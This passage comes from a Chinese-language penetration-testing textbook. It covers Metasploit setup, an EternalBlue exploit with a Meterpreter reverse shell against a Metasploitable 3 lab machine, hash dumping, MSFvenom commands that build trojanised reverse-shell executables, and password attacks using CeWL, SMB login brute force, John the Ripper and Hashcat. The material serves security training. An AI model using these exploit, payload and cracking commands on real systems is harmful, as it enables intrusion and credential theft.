图 4:修改 database.yml 文件

  1. 文件修改后,可以再次启动 Metasploit Framework,并使用db_status命令检查数据库连接。如果一切正常,您将看到一条消息显示 Metasploit 连接到哪个数据库,如下截图所示:

图 5:在 Metasploit Framework 中检查数据库连接

如果在运行 Metasploit Framework 之前未启动 PostgreSQL 服务,则在打开 Metasploit Framework 时,您将收到数据库连接错误。

数据库允许您存储诸如主机数据和利用结果之类的信息。让 Metasploit 将数据存储在数据库中使您能够在将来参考结果。

增强您在 Metasploit 中的体验

使用 Metasploit 的workspaces功能使您能够在执行渗透测试时组织您的动作。例如,如果您正在针对不同部门执行各种任务,您可以为每个部门创建一个workspace,如下截图所示:

图 6:创建和删除工作空间

创建workspace的命令是workspace -a [name],要删除它,我们使用workspace -d [name]要在工作空间之间切换,可以使用workspace [name]命令。请注意,您可以在一行内使用空格分隔名称来定义多个工作空间。

Metasploit 使您能够导入诸如 Nmap 或 Nessus 运行的扫描之类的扫描。在第三章中,执行信息收集,您可能已将 Metasploitable 3 的 Nmap 扫描导出到.xml文件。为了将其导入 Metasploit Framework,您可以使用db_import [文件路径]命令,如下截图所示:

图 7:导入 Nmap 扫描

要将 Nmap 导出的 XML 文件转换为 HTML,您可以利用此命令:xsltproc <nmap-output.xml> -o <nmap-output.html>

Metasploit 具有一个 Nessus 桥,可以让您连接到 Nessus 数据库并直接将扫描导入 Metasploit。让我们使用在第三章中执行的扫描进行导入,执行信息收集:

  1. 从终端窗口,使用msfconsole命令打开 Metasploit Framework。框架加载后,我们将使用load nessus命令加载 Nessus 桥插件。接下来,您需要连接到您的 Nessus 数据库。确保 Nessus 服务正在运行,然后使用nessus_connect username:password@IP命令进行连接,如下截图所示。在我的设置中,我将数据库本地化在 Kali 上,因此我使用回环地址127.0.0.1

图 8:在 Metasploit Framework 中连接到 Nessus 数据库

  1. 连接到 Nessus 数据库后,您可以通过输入nessus_scan_list命令查看扫描列表,如下截图所示:

图 9:查看 Nessus 扫描列表

  1. 使用nessus_db_import scanid命令将扫描导入 Metasploit Framework,如下截图所示:

图 10:导入 Nessus 扫描

导入扫描后,您现在可以查看漏洞列表并进行搜索,以找出 Metasploit 覆盖的哪些漏洞。

使用hosts -c address命令,vulns会给我们列出每个主机的漏洞列表,使用vulns命令将显示漏洞的完整列表和具有这些漏洞的主机的 IP 地址。您会注意到,在下面的屏幕截图中,Metasploitable 3 虚拟机有许多漏洞,这些漏洞是从 Nessus 导入的:

图 11:Nessus 发现的漏洞显示

现在,我们可以针对 Nessus 数据库导入搜索特定漏洞。例如,使用vulns -S eternalblue命令,我们可以搜索一个众所周知的漏洞,如下面的屏幕截图所示:

图 12:在 Nessus 扫描中搜索漏洞

请注意,输出显示了主机的 IP 地址和与搜索查询相关的漏洞。

使用 Metasploit 对远程目标进行利用

现在我们已经从 Nessus 导入了数据,并且了解了如何使用 Metasploit Framework 中的功能,让我们对 Metasploitable 3 虚拟机进行漏洞利用。

我们将使用ms17_010_eternalblue漏洞。我们已经确定 Metasploitable 3 虚拟机对此漏洞存在漏洞:

  1. 使用msfconsole命令从终端窗口打开 Metasploit Framework。

  2. 加载 Metasploit Framework 后,使用use exploit/windows/smb/ms17_010_eternalblue命令并按Enter

  3. 使用set RHOSTS [IP]命令定义目标(即您的 Metasploitable 3 虚拟机的 IP 地址)。

  4. 我们将使用 Meterpreter 有效载荷,因为这将在本章后面使用。使用set payload``windows/x64/meterpreter/reverse_tcp命令定义有效载荷。注意所有的设置选项,如下面的屏幕截图所示:

图 13:定义的漏洞利用选项

  1. 一旦您定义了选项,您可以使用exploit命令运行漏洞利用,如下面的屏幕截图所示:

图 14:漏洞利用已成功完成

现在您已经建立了与 Metasploitable 3 虚拟机的远程会话。

您将在本章后面使用此会话。

查找模块

在对各种目标进行渗透测试时,您可能会遇到 Metasploit 没有可用的漏洞利用的情况。也许您还没有遇到这种情况,但是您希望保持 Metasploit 数据库的最新状态。在任何情况下,了解在哪里找到模块以及如何添加它们到 Metasploit 是一项有用的技能。有许多公共存储库可供下载模块。这些网站将是您寻找 Metasploit 模块的首要资源。

Exploit-DB

我们将首先看一下 Exploit Database(通常称为Exploit-DB)。您会从上一章(执行信息收集)中认识到 Exploit-DB,当时我们使用 Google dorks 进行工作。可以直接访问 Exploit-DB:www.exploit-db.com

网站有一个名为exploits的部分,您可以在其中找到由安全公司和个人发布的模块。该网站具有验证模块(V)、下载模块(D)和下载易受攻击应用程序(A)的功能(如果适用)。这在标题栏中显示为 D、A 和 V,如下面的屏幕截图所示:

图 15:Exploit-DB 显示漏洞列表

请注意,模块跨越多个平台和类型。

Rapid7 漏洞数据库

Rapid7 是另一个公共资源,您可以在那里获取模块(图 16)。 此存储库可在www.rapid7.com/db/modules访问。

Rapid7 的漏洞利用数据库与 Exploit-DB 非常相似; 但是,它不包含诸如 Google Hacking Database 之类的其他功能:

图 16:Rapid7 的漏洞利用数据库

Rapid7 还列出了漏洞,并将它们链接到相关的漏洞利用。 以下示例显示了 CVE-2019-8943 Wordpress 漏洞和漏洞利用链接:

图 17:与漏洞利用相关的漏洞

单击漏洞利用后,您可以查看有关漏洞利用的完整详细信息以及其可用选项。

0day.today

0day.today 是另一个存储许多模块的仓库。 0day.today 的不同之处在于可以购买到一些可用的漏洞利用,如下面的屏幕截图所示。 一些付费的漏洞利用声称可以执行诸如 Snapchat 接管和 Facebook 群组窃取之类的活动。 还有其他可免费使用的漏洞利用:

图 18:0day.today 漏洞利用数据库

0day.today 可在0day.today/访问。

添加模块

现在我们已经介绍了如何为 Metasploit Framework 查找模块,让我们深入了解如何添加模块。 我们将使用涵盖 Wordpress 5.0.0 的漏洞利用的模块 - Crop-image Shell Upload(Metasploit)。 此漏洞利用的直接链接为www.exploit-db.com/exploits/46662

在下载漏洞利用之前,我们将验证它当前是否存在于 Metasploit Framework 中。 为此,我们可以使用search命令(图 19)。 此命令允许您搜索特定模块:

图 19:搜索与裁剪图像相关的模块

由于没有结果,我们将退出 Metasploit Framework 并下载模块以添加它。 使用前面的直接链接,您可以使用下载功能来下载实际的模块,如下面的屏幕截图所示:

图 20:从 Exploit-DB 下载漏洞利用

Metasploit Framework 中的所有模块都位于/usr/share/metasploit-framework/modules中。由于这是一个exploit,与http相关,我已将其放置在/usr/share/metasploit-framework/modules/exploits/multi/http路径中,如下面的屏幕截图所示:

图 21:下载的漏洞利用的位置

当您打开 Metasploit Framework 并执行搜索时,将显示新添加的exploit,如下面的屏幕截图所示:

图 22:漏洞利用添加到 Metasploit 数据库

您还可以使用loadpath命令来加载新添加的模块,例如,loadpath /usr/share/metasploit-framework/modules

Metasploit 选项、shell 和有效载荷

当您选择不同的漏洞利用时,Metasploit 具有许多选项、shell 和有效载荷。

覆盖所有漏洞利用中的所有可能选项不在本书的范围内,但我将解释如何查找选项并讨论常用的选项。 了解各种 shell 和有效载荷选项非常重要。

选项

Metasploit Framework 中的不同模块使用不同的选项。 例如,登录扫描模块将包含选项,如userpass_filepass_fileuser_file。 在下面的屏幕截图中,您将注意到auxiliary/scanner/ssh/ssh_login模块的选项:

图 23:SSH 登录扫描仪选项

要查看特定模块的选项,可以使用show options命令。要设置选项,您将使用set命令。您经常使用的最常见选项如下:

  • RHOST:这指的是您想要利用的远程主机。这告诉 Metasploit 您想要攻击哪个系统,因此这是一个必须定义的强制性字段。

  • RPORT:这定义了您想要攻击的远程端口。一些模块可能已经将此字段定义为利用的默认值。例如,使用ms17_010_eternalblue模块将会将 RPORT 值定义为445。您真正修改 RPORT 值的唯一时机是如果目标使用自定义端口,例如使用端口2222进行 SSH,而不是端口22

  • LHOST:这是您希望目标机器连接的 IP 地址。请记住您所在的位置;如果您正在穿越公共网络,那么您将需要定义您的公共 IP 并配置端口转发,以便来自目标机器的返回流量可以到达您的系统。不要配置诸如localhost0.0.0.0127.0.0.1之类的值,因为这将指示目标连接到自身。

  • LPORT:这是您系统上希望目标连接的本地端口。

Metasploit 非常直观,会为各个模块中存在的每个选项提供描述。您将在前面的截图中注意到这一点。

Shell

Metasploit 框架中存在两种类型的 shell,即绑定 shell反向 shell

绑定 shell在目标机器上打开一个新的服务,并需要您连接到它以获得 shell。这些 shell 的问题在于防火墙默认会阻止随机端口的连接,因此绑定 shell 不如反向 shell有效。

反向 shell将连接推送回攻击机器,而不是等待您连接。它要求首先在攻击机器上设置监听器,以便它可以监听来自目标机器的连接。一个常见的做法是在端口80443上设置监听器。这些端口分别与httphttps直接相关,并与日常网络流量相关联。阻止这些端口根本不可行,因此使它们成为反向 shell 连接的主要目标。

有效载荷

Metasploit 框架拥有大量的有效载荷,可用于各种场景。可以使用show payloads命令查看当前的有效载荷。运行此命令时,一些有效载荷将具有相同的名称,并且看起来好像执行相同的操作;但实际上是有区别的。例如,如果您查看windows/shell/reverse_tcpwindows/shell_reverse_tcp有效载荷,斜杠/告诉我们这是一个分阶段的有效载荷,下划线_告诉我们这是一个单一的有效载荷。

分阶段有效载荷是由两个主要组件组成的有效载荷。这些组件是一个小加载程序和最终阶段有效载荷。分阶段器负责拉取其余的分阶段有效载荷。看前面的例子,windows/shell/reverse_tcp将执行两个功能。首先,它将发送加载程序,一旦加载程序被执行,它将请求处理程序(攻击者)发送最终阶段有效载荷。完成后,您将获得一个 shell。示例见下图:

图 24:一个 Eternalblue 分阶段有效载荷

单一有效载荷是一种一次性有效载荷。此有效载荷包含加载程序和有效载荷。使用此类型的有效载荷时,加载程序和有效载荷将同时发送到目标。

Meterpreter是一个提供交互式 shell 的攻击载荷。在这个 shell 中,攻击者可以探索目标并执行代码。它是使用内存中的 DLL 注入部署的。这导致 Meterpreter 完全在内存中运行,不会触及目标的本地磁盘。Meterpreter 将自身注入到其他运行的进程中,使其取证痕迹非常小。它旨在规避其他载荷可能存在的缺点,比如可能触发警报,可能会提醒目标您的活动。

如果你考虑一个反向 shell,它的目的相对简单:获得一个 shell。这可能是你的首选,但对各种类型的载荷有很好的了解将有助于您选择最佳的选项进行渗透测试。例如,使用windows/meterpreter/reverse_tcp载荷是稳定的并且有效,但是使用windows/meterpreter/reverse_https是更强大的选择。为什么呢?windows/meterpreter/reverse_https载荷提供了更多功能,比如具有加密通道(使其更难以检测)。

Meterpreter 提供了远程控制文件系统的能力。使用这个功能,你可以上传文件到目标并下载文件。在下面的截图中,我正在使用 Meterpreter 中的上传功能来上传一个恶意版本的procmon.exegetwd命令用于显示目标系统上的当前工作目录。getlwd命令用于显示本地系统的工作目录。

图 25:利用 Meterpreter 的上传功能

Meterpreter 有许多可以使用的后渗透模块。可以使用search post命令找到这些模块。在下面的截图中,我正在使用post模块,该模块列举了已登录的用户。请注意,它将保存结果在loot文件夹中,因此您可以在以后再次参考这些结果。

图 26:在 Meterpreter 中使用后渗透模块

Meterpreter 的另一个特性是hashdump命令。该命令会转储系统的当前哈希值,您可以将其复制到文本文件中进行离线密码破解,如下面的截图所示。

图 27:使用 hashdump 命令转储目标系统的当前哈希值

前面的哈希值是从 Metasploitable 3 虚拟机中转储出来的。请保留这些,因为您将在第六章中再次使用它们,理解密码攻击。我将它们保存为Meta3-hashes.txt

Meterpreter 有很多功能。在进行各种渗透测试时,您将在不同的场景中利用不同的功能。

使用 MSFvenom

在本章的前面,我们专注于使用 Metasploit Framework 来利用目标系统上的漏洞并控制它。使用 MSFvenom,您不是依赖系统中的漏洞,而是旨在利用所有组织中最常见的安全问题:用户。这是一个永远无法完全修补的漏洞。

MSFvenom 基本上用于构建 shellcode。Shellcode 可以定义为当运行时,创建一个反向远程 shell 返回给攻击者的代码。

将 shellcode 插入文件中,然后将该文件发送到目标。这可以通过钓鱼活动来完成,就像我们在《社交工程大师》[第四章]中学到的那样。一旦运行文件,您就可以远程访问目标计算机。现实世界的攻击者也利用这种技术。Shellcode 不仅限于文件,还可以插入软件中。这在您可能在移动设备应用商店中找到的恶意应用程序中很常见。远离钓鱼和软件,shellcode 还可以嵌入到被入侵的网站中。因此,当有人浏览网站时,恶意软件可以加载到他们的计算机上,从而使其受到威胁。

在早期版本的 Metasploit 中可以使用msfpayloadmsfencode命令构建 shellcode。这些服务现在已经与msfvenom实用程序合并并替换。如果你习惯了旧工具,msfvenom不是问题,因为几乎没有修改。

使用 MSFvenom 有一些优势:

  • 有一个单一的工具来生成跨平台的 shellcode。

  • 命令行选项是标准化的。

  • 创建 shellcode 的速度增加,使您能够使用应用程序作为模板。

要使用 MSFvenom,您需要在 Kali Linux 的终端窗口中输入msfvenom命令。该应用程序将向您呈现一系列可用选项。其中一些最重要的选项如下:

  • -p用于选择 Metasploit 有效载荷。有许多可用的有效载荷;这些支持 Windows、Linux、Mac 等。定义有效载荷的示例如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL PORT> -f exe -o shell.exe

在这个例子中,我们使用了windows/meterpreter/reverse_tcp有效载荷,定义了本地主机和 IP 地址。使用-f选项定义输出格式为.exe,使用-o选项将输出文件保存为shell.exe

  • -e用于选择编码器。编码器是一种算法,可用于重新编码有效载荷。这用于混淆有效载荷的意图。您可以使用msfvenom -l encoders命令找到编码器列表。使用编码器的示例如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL PORT> -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe

在这个例子中,选择的编码器是shikata_ga_nai,定义的迭代次数是3,使用了-i选项。

  • -x用于定义要用作模板的自定义可执行文件。使用此选项,您可以获取合法文件并创建其恶意版本,从而获得远程 shell。使用示例如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL PORT> -x procmon.exe -f exe -o evilprocmon.exe

在这个例子中,putty.exe被用作模板,创建了一个恶意版本的evilputty.exe

总结

在本章中,我们看了一下 Metasploit 框架。我们定义了它可以用来做什么,并探讨了包括的各种类型的模块。我们完成了一些 Metasploit 的初始任务,并看了我们可以获取新模块的地方。利用 Metasploit 的灵活性,我们从其他来源(如 Nmap 和 Nessus)导入了数据,并探索了 Metasploit 的核心组件。最后,我们看了如何在创建 shellcode 时使用 MSFvenom。

您现在可以执行 Metasploit 框架的初始配置。您已经学会了执行一些初始设置任务,如更新 Metasploit 框架并将其链接到数据库。您已经学会了如何通过使用工作区和从 Nmap 和 Nessus 等工具导入数据来增强在 Metasploit 框架中的体验。您已经学会了在哪里获取新模块以及如何安装它们。您已经了解了 Metasploit 的主要选项以及 shell 和有效载荷之间的区别。最后,在本章中,您已经学会了如何使用 MSFvenom 利用 shellcode。

在下一章(第六章,理解密码攻击)中,我们将探讨各种类型的密码攻击以及从哪里获取密码列表。我们将利用 Kali Linux 内置工具进行一些密码破解和凭据转储。

问题

  1. Metasploit Framework 版本 5 中引入的一个关键特性是什么?

  2. 至少列举三个存在于 Metasploit Framework 中的模块。

  3. 列举两个可以导入 Metasploit Framework 的外部数据源。

  4. 至少列举两个可以下载额外模块的公共存储库。

  5. 绑定 shell 和反向 shell 之间有什么区别?

第六章:了解密码攻击

在密码分析中,密码破解可以被定义为通过使用其哈希对应物来恢复明文密码短语的过程。密码是我们日常生活的一部分;我们几乎在所做的一切事情中都使用它们。随着系统安全性的发展,以寻找各种加密密码的方法,可以破解它们的工具也在发展。

在本章中,您将受益于了解密码如何成为我们日常生活的一部分。您将学会查找、构建和定制单词列表的技能。您将学会如何利用单词列表,并在 Kali Linux 中使用各种密码破解工具。您将了解各种工具,以及它们在渗透测试中何时以及如何使用。

随着您在本章的学习,您将学到以下内容:

  • 密码攻击简介

  • 使用单词列表

  • 离线密码破解

  • 在线密码破解

  • 从内存中转储密码

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

  • Metasploitable 2 和 3 虚拟机

密码攻击简介

密码并不是什么新鲜事物。它们已经存在了几个世纪。例如,罗马军队使用密码来区分敌我。在 20 世纪 60 年代初,密码的概念被用于访问计算机系统和共享数据。目的是帮助保持个人文件对其他人的保密。从那时起,它成为了计算机安全的事实标准,无论是个人还是企业使用。在最初,保护密码并不是多大的问题。随着时间的推移,由于互联网的蓬勃发展,安全性变得更加重要,因为人们开始在互联网上存储敏感信息。

哈希和盐后来被引入以帮助密码的安全性。哈希对密码进行单向转换,实质上将密码转换为一串字符。盐是添加到密码中的唯一数据值,导致生成不同的哈希。比较简单哈希的密码和加盐哈希的密码将导致两个完全不同的哈希。

今天,用户名和密码是人们每天使用的组合。诸如计算机系统、移动设备、游戏机、平板电脑等设备都受到密码的保护。作为计算机用户,您可能有许多用途的密码,例如登录系统、访问电子邮件、数据库、网络、网站、应用程序和提升服务。

在渗透测试过程中,您经常会遇到密码作为最小的障碍。安全成熟度较高的企业仍然会有用户成为最薄弱的环节。正如我们在第四章,掌握社会工程学中所学到的,用户可以通过社会工程学来被利用。用户也是可以预测的,大多数人会使用容易预测的密码。

密码引入了一个不可分割的问题。较短的密码更容易记住,也更容易猜测。较长的密码更难破解,但也更难记住。增加复杂性后问题仍然存在。如果密码要求太复杂,用户最终会忘记它们,甚至更糟的是,写下来。这会引入诸如大量密码重置的问题,您可以通过社会工程学来利用。写下密码可以在走过建筑物时轻松注意到。现在,让我们考虑一下用户为多个在线服务(如亚马逊、Spotify、iTunes、Facebook 和 Instagram 等)使用密码的事实,列表还在继续。跟踪这么多密码很困难,导致许多人多次使用相同的密码。如果攻击者能够获得一个密码,这将引入一个重大问题,一切都可以被访问。

让我们看看如何利用各种方法来破解密码,有些情况下,您甚至不需要破解密码就可以使用服务。

使用单词列表

为了破解密码,您需要有一个可以尝试的凭据列表。您可以使用用户列表(仅包含用户名)、密码列表(仅包含密码)或结合两者的列表。

用户列表是包含用户名的列表。它可以通过对目标进行侦察来构建,或者在某些情况下,可能会为您提供进行渗透测试。如果您需要构建自己的用户列表,有一些问题需要考虑。目标是否使用firstname.lastname作为用户名?也许目标的用户名与其电子邮件地址相同?查找用户名的好方法是查看公开发布在互联网上的文件的元数据。您可以使用简单的 Google 查询来查找特定的文件类型,使用filetype:搜索字符串。

在第三章中,执行信息收集,我们看了如何使用 Google dorks进行信息收集。

在 Kali Linux 中,使用 Firefox ESR,并使用搜索字符串filetype:xls,我能够找到一些文档,其中包含可以给我提供用户名结构线索的详细信息(如下面的屏幕截图所示)。您可以使用诸如 ExifTool之类的工具执行相同的分析。ExifTool 是一个跨平台工具,支持多种文件格式。它很轻便,您可以从文件中获取大量信息。

要在 Kali Linux 中安装 ExifTool,您需要从终端窗口运行以下命令:

apt install libimage-exiftool-perl

安装后,您可以使用exiftool [options] file命令查询文件。要查看选项的完整列表,可以使用man exiftool命令,在终端中显示文档,如下面的屏幕截图所示:

图 1:使用 exiftool 提取元数据

在前面的屏幕截图中,我们能够确定这家特定公司的用户名结构是name.surname。我们可以使用 LinkedIn 进行进一步调查,以获取在该公司工作的员工名单,并从中生成用户名列表。

密码列表包含密码。您可以下载这些密码列表,甚至创建自己的密码列表。Kali Linux 包含一些密码列表,尽管这些列表不如您在互联网上找到的那些全面。

内置的单词列表位于/usr/share/wordlists,包含著名的rockyou.txt密码列表,如下面的屏幕截图所示:

图 2:Kali Linux 内置的单词列表

Kali Linux 中的一些工具有自己的单词列表;例如,工具John the Ripper/usr/share/John/password.lst中有一个密码列表。

Metasploit 框架中有许多单词列表,位于/usr/share/metasploit-framework/data/wordlists中。

有许多在线资源可以获取密码列表。一些网站托管着不经常更新的旧密码列表。那些经常更新的位于 WeakPass(weakpass.com)和 Seclists(github.com/danielmiessler/SecLists/tree/master/Passwords)等网站。可以使用apt install seclists命令在 Kali Linux 中安装 Seclists。这将把当前版本的密码列表下载到/usr/share/seclists路径中,如下面的屏幕截图所示:

图 3:Seclists 的密码列表

一些网站,如 CrackStation(crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm),托管着一个相当大的数据库,并提供在线哈希破丨解丨器。

密码概要

在规划渗透测试时,拥有一个专门针对目标的定制密码列表非常重要。拥有一个概要密码列表可以帮助渗透测试的成功,因为你可以省去使用通常非常广泛的公共单词列表所花费的时间。

定制密码列表并使其更具体于目标的一种方法是使用密码概要技术。密码概要涉及从您正在针对的组织中提取单词或短语,并将其包含在单词列表中,以提高找到有效密码的机会。

在第三章中,执行信息收集,我们对 Metasploitable 2 和 3 虚拟机进行了 Nmap 扫描。一些开放的服务包括 SSH(端口22)和 FTP(端口21)。在之前的第五章中,深入研究 Metasploit 框架,我们探讨了一些针对这些易受攻击的虚拟机的攻击。现在,我们将执行一些利用密码文件的攻击,但我们不会使用来自互联网的密码文件,其中包含成千上万个密码,而是构建一个经过概要处理的密码文件。

Kali Linux 带有一个名为CeWL的工具。CeWL 可以对给定的 URL 进行蜘蛛爬行,您可以指定深度,并返回可以使用的单词列表。CeWL 是可定制的,允许您指定单词的最小和最大长度,从文件的元数据中提取单词等等。

要构建与 Metasploitable 虚拟机相关的单词列表,可以使用github.com/rapid7/metasploitable3/wiki上提供的 wiki 页面。

使用以下命令,我们将生成用于密码暴力破解的单词列表。在命令中,我们定义了最小单词计数(-m 7)、蜘蛛深度(-d 1),然后我们指示 CeWL 将输出写入到名为metasploitable-dict.txt的桌面文件中(-w),如下所示:

cewl https://github.com/rapid7/metasploitable3/wiki -m 7 -d 1 –w /root/Desktop/metasploitable-dict.txt 

一旦命令完成,我们就有了一个当前包含 2,443 个单词的单词列表,如下面的屏幕截图所示:

图 4:CeWL 生成的单词列表

要对文本文件进行单词计数,可以使用wc -w [文件]命令。

现在,我们可以使用刚刚创建的单词列表进行测试。我们将运行单词列表针对 Metasploitable 3 虚拟机,以检查我们是否可以使用服务器消息块SMB)协议访问它。这可以通过使用辅助模块auxiliary/scanner/smb/smb_login进行检查,具体步骤如下:

  1. 从终端窗口中,使用msfconsole命令打开 Metasploit 框架。在运行msfconsole命令之前,请确保已启动 PostgreSQL 服务。

  2. 使用use auxiliary/scanner/smb/smb_login命令加载辅助扫描器。

  3. 接下来,我们将定义以下选项:

  • SET RHOSTS [IP]:在这里,您将定义 Metasploitable 3 虚拟机的 IP 地址。这可以使用netdiscover -r [subnet]或通过登录虚拟机并使用命令提示符窗口中的ipconfig命令来检查其 IP 地址来获取。

  • SET USER_FILE [path]SET PASS_FILE [path]:在这里,我们定义了字典。使用CeWL生成的字典,我们定义的路径是/root/Desktop/metasploitable-dict.txt

  • SET STOP_ON_SUCCESS true:这告诉扫描器一旦找到成功的凭据就停止扫描。

  • SET VERBOSE false:这将阻止扫描器在屏幕上显示输出。它只会显示成功的输出。

  1. 一旦定义了选项,我们使用run命令运行扫描器。一旦找到成功的凭据,输出将显示如下截图所示:

图 5:Metasploit Framework SMB 登录扫描器的输出

Metasploit 将发现的凭据存储在其数据库中。可以使用creds命令访问凭据。

要记住的一个关键点是,您的字典越大,花费的时间就越长。通过使用配置文件字典,您可以减少寻找有效登录所花费的时间。

密码变异

用户经常以各种方式变异他们的密码。一些变异类型包括在密码末尾添加数字,交换字符,例如使用 3 代替“e”,使用大写字母等。

使用 John the Ripper,我们可以对密码列表执行变异。John the Ripper 附带一个包含许多预定义密码变异规则的广泛配置文件。此配置文件可以在/etc/John/john.conf中找到。

配置文件中定义为[List.Rules:<name>]的规则集,例如[List.Rules:Wordlist][List.Rules:hashcat],还有很多。您可以使用简单的连接查询来查看各种当前规则:cat /etc/john/john.conf |grep List.Rules,如下截图所示:

图 6:John the Ripper 中当前规则集的片段

让我们执行一些变异。为了说明,我将创建一个名为mutate-test.txt的新文件,并在其中放入一个单词password,然后将其存储在桌面上。您可以使用 leafpad、nano 或您喜欢的文本编辑器来完成这个操作。

创建文件后,我们可以执行一些变异并观察输出。编辑John.conf文件,我根据以下截图添加了一个自定义规则集,名为List.Rules:Custom

图 7:自定义规则变异

在这个自定义规则中,我告诉 John the Ripper 在每个密码的末尾添加两个额外的数字。以下是您可以在规则集中使用的常见命令列表:

  • $:这会在单词后附加一个字符或数字。在前面的自定义规则中,您会注意到我定义了一个由0-9表示的一组数字。这将在单词后附加0123456789。您还可以附加一个单个字符;例如,使用命令$9将只在单词后附加9

  • ^:这会在单词前添加一个字符或数字。在这里,您可以根据前面的$命令定义范围。

  • l:这将所有字符转换为小写,c将它们转换为大写。

  • t:这会切换单词中所有字符的大小写。

让我们使用以下命令查看此规则的输出:

john --wordlist=/root/Desktop/mutate-test.txt --rules:Custom --stdout > mutated.txt

我们有一个名为mutated.txt的新文件,其中包含在mutation-test.txt中定义的单词的变异。stdout命令用于输出候选密码。请注意,mutated.txt文件的内容在主要单词末尾包含两个额外的字符,如前面的截图所示:

图 8:变异密码列表

当您使用密码变异时,您会发现一些规则比其他规则更有效。关键是找到适合您目标的方法,并知道您可以使用 John the Ripper 来执行密码变异。

离线密码攻击

离线密码攻击是一种在不被发现的情况下破解密码的方法。由于没有对活动服务进行暴力破解,因此被发现的风险要小得多。目标是获取密码的哈希版本并将其逆转回纯文本。不同的哈希算法输出不同位长度的哈希。由于哈希由十六进制数字组成,每个数字占四位,因此识别哈希位长度将涉及计算十六进制数字的数量并乘以四。

例如,哈希值63640264849A87C90356129D99EA165E37AA5FABC1FEA46906DF1A7CA50DB492包含 64 个字符。64 x 4 = 256。这告诉我们哈希的位长度为256位。在这个例子中,最常见的哈希算法输出256位哈希的算法是SHA-256。如果您有一个128位的哈希呢?在这里,有一些算法可以发挥作用,比如MD2MD4MD5RipeMD-128。在识别您拥有的哈希时,您的直觉就发挥作用了。例如,如果您从 MySQL 数据库中提取了一个哈希,那么这个哈希很可能是一个MD5哈希。

幸运的是,有一些工具可以帮助您识别哈希,从而使您在进行手动计算时花费的时间大大减少。然而,知道如何计算哈希位长度并训练您的感知能力永远不会是浪费。

在当前版本的 Kali Linux(2019.1)中,有一个名为Hash Identifier的工具,它将尝试识别哈希。可以使用hash-identifier命令从终端窗口运行此工具。让我们尝试识别之前讨论的SHA-256哈希。请注意以下截图中的输出:

图 9:使用 hash-identifier 识别哈希

使用hash-identifier可以简化识别哈希的过程,因为识别出的哈希非常具体。

John the Ripper

John the Ripper 既功能丰富又快速。它在一个程序中利用了几种破解模式,并且是完全可配置的(正如我们在密码变异中所见)。John the Ripper 可在多个平台上使用,这使得在多个系统上使用相同的破解程序变得容易。它默认包含在 Kali Linux 中。

John the Ripper 的一些特点如下:

  • 哈希类型可以自动检测

  • 跨平台支持

  • 支持多种哈希算法

John the Ripper 的语法如下:

john [options] [password file]

现在我们已经确定了哈希算法,让我们尝试使用 John the Ripper 来破解这个哈希,采取以下步骤:

  • 步骤 1:使用文本编辑器将哈希添加到文本文件中。我将文件命名为sha256hash.txt

  • 步骤 2:在终端窗口中运行以下命令:

john --format=raw-sha256 [filename] --wordlist=[wordlist path]. 

在我的示例中,我使用了rockyou.txt单词列表。因此,在我的环境中,完整的命令如下:

john --format=raw-sha256 sha256hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意以下截图中的输出:

图 10:使用 John the Ripper 破解 SHA-256 哈希

John the Ripper 将所有破解的密码存储在一个john.pot文件中,该文件位于您安装 John the Ripper 的位置。在 Kali Linux 2019.1 中,默认情况下,它位于/root/.John/john.pot,如下面的截图所示:

图 11:存储在 john.pot 文件中的破解密码。

让我们尝试破解我们从第五章,深入 Metasploit 框架中转储的哈希,使用 John the Ripper。从终端窗口,使用以下命令:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT [filename] --rules=wordlist --pot=[filename].pot 

在这个命令中,我们定义要使用的单词列表(rockyou.txt)、要使用的规则集(wordlist)以及要存储破解的哈希的位置(meta3.pot):

图 12:使用 John the Ripper 破解从 Metasploitable 3 获得的哈希

破解密码哈希有时可能非常耗时,在渗透测试期间时间紧迫时可能不可行。利用转储的密码哈希的另一种方法是使用用户名和 NTLM/LM 哈希的有效组合重新验证到远程系统。这种技术称为传递哈希PTH),自 1997 年以来一直存在。

尽管我们只能破解三个密码,但我们仍然破解了一个特权帐户,即管理员帐户。如果我使用更复杂的单词列表和更复杂的规则在 John the Ripper 中,它可能会破解所有哈希。请记住,随着你增加更多的复杂性,破解密码所需的时间会稍长一些。

为了破解 Linux 系统上的帐户,您将需要以下两个文件:

  • /etc/passwd:包含用户信息

  • /etc/shadow:包含用户的相应密码哈希

在我们能够破解密码之前,这两个文件需要合并。这可以通过使用unshadow命令来完成,如下截图所示:

图 13:使用 unshadow 命令组合 passwd 和 shadow 文件

现在,我们可以使用以下命令将这个组合文件与 John the Ripper 结合起来:

john --wordlist=/usr/share/wordlists/rockyou.txt [filename] --pot=[potname] 

John 将开始破解 Linux 哈希的密码(如下截图所示)。请注意,在这种情况下,我们没有定义格式;John the Ripper 能够识别哈希类型并应用正确的破解算法,如下截图所示:

图 14:使用 John the Ripper 破解从 Metasploitable 2 获得的哈希

尽管在前面的截图中root密码没有被破解,但利用更复杂的单词列表和 John the Ripper 中的规则很可能会破解密码。

Hashcat

Hashcat 是另一个离线密码破解工具,据称是世界上最快和最先进的密码恢复实用程序。它默认安装在 Kali Linux 中,并将 CPU 和 GPU 版本结合在一个程序中。

该程序支持多种哈希算法,具有用于破解密码的独特模式。Hashcat 支持多个平台,如 Windows、macOS 和 Linux。

Hashcat 的一些特点如下:

  • 它支持多线程

  • 多哈希支持(同时破解多个哈希)

  • 多设备支持(在同一系统中利用多个设备)

  • 多设备类型(在同一系统中使用混合设备类型)

  • 它是基于多算法的(MD4、MD5、SHA1、DCC、NTLM、MySQL 等)

  • 它使用专门的规则来扩展攻击模式

运行 Hashcat 的语法如下:

hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...

一些常用的选项如下:

  • -m使用哈希的编号定义哈希类型。例如,MD5 是编号 0,SHA1 是 100。

  • -a定义攻击模式。

  • -o定义输出文件。

Hashcat 中的攻击模式定义如下:

  • 字典攻击:(也称为直接模式或攻击模式零),尝试给定列表中的所有单词。

  • 组合攻击:(称为模式1),这将多个单词列表中的单词连接起来。

